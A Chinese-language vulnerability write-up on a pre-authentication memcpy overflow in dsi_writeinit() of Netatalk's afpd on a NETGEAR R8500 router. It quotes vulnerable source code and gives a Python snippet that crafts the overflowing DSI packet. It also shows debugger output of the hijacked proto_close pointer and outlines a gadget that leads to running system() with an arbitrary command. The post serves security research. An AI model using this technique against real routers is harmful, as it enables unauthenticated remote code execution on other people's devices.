Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

前言

2022年11月,SSD发布了一个与NETGEAR R7800型号设备相关的漏洞公告。根据该公告,该漏洞存在于Netatalk组件(对应的服务程序为afpd)中,由于在处理接收的DSI数据包时,缺乏对数据包中某些字段的适当校验,在dsi_writeinit()中调用memcpy()时存在缓冲区溢出问题。利用该漏洞,攻击者可以在目标设备上实现任意代码执行,且无需认证。该漏洞公告中包含了漏洞的细节以及利用思路,但给出的poc脚本仅实现了控制流的劫持,缺少后续代码执行的部分。下面将基于R8500型号设备,对漏洞进行简单分析,并给出具体的利用方式。

漏洞分析

Netatalk组件在很多NAS设备或小型路由器设备中都有应用,近几年吸引了很多安全研究人员的关注,陆续被发现存在多个高危漏洞,例如在近几年的Pwn2Own比赛中,好几个厂商的设备由于使用了该组件而被攻破,NETGEAR厂商的部分路由器设备也不例外。

NETGEAR厂商的很多路由器中使用的是很老版本的Netatalk组件

该公告中受影响的目标设备为R7800 V1.0.2.90版本,而我手边有一个R8500型号的设备,在R8500 V1.0.2.160版本中去掉了该组件,因此将基于R8500 V1.0.2.154版本进行分析。在NETGEAR厂商的GPL页面,下载对应设备版本的源代码,其中包含Netatalk组件的源码,可以直接结合源码进行分析。以R8500 V1.0.2.154版本为例,其包含的Netatalk组件的版本为2.2.5,而该版本发布的时间在2013年,为一个很老的版本。

AFP协议建立在Data Stream Interface(DSI)之上,DSI是一个会话层,用于在TCP层上承载AFP协议的流量。在正常访问该服务时,大概的协议交互流程如下。

其中, 在DSIOpenSession请求执行成功后,后续将发送DSICommand请求,而处理该请求的代码存在于afp_over_dsi()中,部分代码片段如下。正常情况下,程序会在(1)处读取对应的请求数据包,之后在(2)处根据cmd的取值进入不同的处理分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
/* ... */
switch(cmd) { // (2)
case DSIFUNC_CLOSE:
/* ...*/
case DSIFUNC_TICKLE:
/* ... */
case DSIFUNC_CMD:
/* ... */
case DSIFUNC_WRITE:
/* ... */
case DSIFUNC_ATTN:
/* ... */
default:
LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); // (3)
/* ... */

函数dsi_stream_receive()的部分代码如下。可以看到,其会读取请求包中的数据,并保存到dsi->headerdsi->commands等中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int dsi_stream_receive(DSI *dsi)
{
/* ... */
/* read in the header */
if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
/* ... */
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
/* ... */

afp_over_dsi()中,在(2)处,如果cmd的取值不满足对应的条件,将会进入default分支,dsi_writeinit()函数将在(3)处被调用。函数dsi_writeinit()的部分代码如下。在该函数中,会根据dsi->header.dsi_codedsi->header.dsi_len等字段来计算dsi->datasize,若其满足条件,则会在(4)处调用memcpy()。其中,len参数与sizeof(dsi->commands) - headerdsi->datasize等相关。

1
2
3
4
5
6
7
8
9
10
11
12
13
size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
size_t len, header;

/* figure out how much data we have. do a couple checks for 0
* data */
header = ntohl(dsi->header.dsi_code);
dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
if (dsi->datasize > 0) {
len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
/* write last part of command buffer into buf */
memcpy(buf, dsi->commands + header, len); // (4) buffer overflow
/* .. */

根据前面dsi_stream_receive()的代码可知,dsi->header.dsi_codedsi->header.dsi_len字段的值来自于接收的数据包,dsi->commands中的内容也来自于接收的数据包。也就是说,在调用memcpy()时,源缓冲区中保存的内容和待拷贝的长度参数均是用户可控的,而目标缓冲区bufdsi->data的大小是固定的。因此,通过精心伪造一个数据包,可造成在调用memcpy()时出现缓冲区溢出,如下。

1
2
3
4
5
6
7
8
9
10
11
def create_block(command, dsi_code, dsi_len):
block = b'\x00' # dsi->header.dsi_flags
block += struct.pack("<B", command) # dsi->header.dsi_command
block += b'\x00\x00' # dsi->header.dsi_requestID
block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
return block

pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192

漏洞利用

首先,看一下DSI结构体的定义, 如下。dsi->data的大小为8192,在发生溢出后,其后面的字段也会被覆盖, 包括proto_openproto_close两个函数指针。因此,如果溢出后,后面的流程中会用到某个函数指针,就可以实现控制流劫持的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define DSI_CMDSIZ        8192 
#define DSI_DATASIZ 8192

typedef struct DSI {
/* ... */

u_int32_t attn_quantum, datasize, server_quantum;
u_int16_t serverID, clientID;
char *status;
u_int8_t commands[DSI_CMDSIZ], data[DSI_DATASIZ];
size_t statuslen;
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
const char *program;
int socket, serversock;

/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
/* ... */
} DSI;

回到afp_over_dsi()函数,在while循环中其会调用dsi_stream_receive()来读取对应的数据包。如果后续没有数据包了,则返回的cmd值为0,根据对应的dsi->flags,其会调用afp_dsi_close()dsi_disconnect(),而这两个函数最终都会执行dsi->proto_close(dsi)。也就是说,在后续的正常流程中会使用函数指针dsi->proto_close,因此,通过溢出来修改该指针,即可劫持程序的控制流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
if (cmd == 0) {
/* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
if (dsi->flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
/* Some error on the client connection, enter disconnected state */
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
/* ... */

void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi); // hijack control flow
/* ... */

基于前面构造的数据包,在劫持控制流时,对应的上下文如下。可以看到,R3寄存器的值已被覆盖,R4R5寄存器可控,同时R0R2中包含指向DSI结构体的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x6a2cc <dsi_close+272> movw r3, #16764 ; 0x417c
0x6a2d0 <dsi_close+276> ldr r3, [r2, r3]
0x6a2d4 <dsi_close+280> ldr r0, [r11, #-8] ; r0: points to dsi
●→ 0x6a2d8 <dsi_close+284> blx r3
0x6a2dc <dsi_close+288> ldr r0, [r11, #-8]
0x6a2e0 <dsi_close+292> bl 0x112c4 <free@plt>
0x6a2e4 <dsi_close+296> sub sp, r11, #4
0x6a2e8 <dsi_close+300> pop {r11, pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
$r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r1 = 0x000001,
$r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r
r0 0xe8498 0xe8498
r1 0x1 0x1
r2 0xe8498 0xe8498
r3 0x61616161 0x61616161
r4 0x58585858 0x58585858
r5 0x43385858 0x43385858
r6 0x7 0x7
r7 0xbec72f65 0xbec72f65
r8 0x10a3c 0x10a3c
r9 0x3e988 0x3e988
r10 0xbec72df8 0xbec72df8
r11 0xbec72c3c 0xbec72c3c
r12 0x401e0edc 0x401e0edc
sp 0xbec72c30 0xbec72c30
lr 0x6fffc 0x6fffc
pc 0x6a2d8 0x6a2d8 <dsi_close+284>

程序afpd启用的缓解机制如下,同时设备上的ASLR 级别为1DSI结构体在堆上分配,故发送的数据包均存在于堆上,因此需要基于该上下文,找到合适的gadgets完成利用。

1
2
3
4
5
6
cq@ubuntu:~$ checksec --file ./afpd
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

通过对afpd程序进行分析,最终找到一个可用的gadget,如下。其中,[R11-0x8]中的值指向DSI结构体,整个执行的效果等价于[dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi])。因为DSI结构体的地址是固定的,且偏移0x2834处的内容可控,通过精心构造数据包,可实现执行system(arbitrary_cmd)的效果。

针对不同型号的设备,具体的上下文可能不同,利用可能更简单或更麻烦。

最终效果如下。

小结

本文基于R8500型号设备,对其使用的Netatalk组件中存在的一个缓冲区溢出漏洞进行了分析。由于在处理接收的DSI数据包时,缺乏对数据包中某些字段的适当校验,在dsi_writeinit()中调用memcpy()时会出现缓冲区溢出。通过覆盖DSI结构体中的proto_close函数指针,可以劫持程序的控制流,并基于具体的漏洞上下文,实现了代码执行的目的。

相关链接

  • SSD ADVISORY – NETGEAR R7800 AFPD PREAUTH
  • NETGEAR Open Source Code for Programmers (GPL)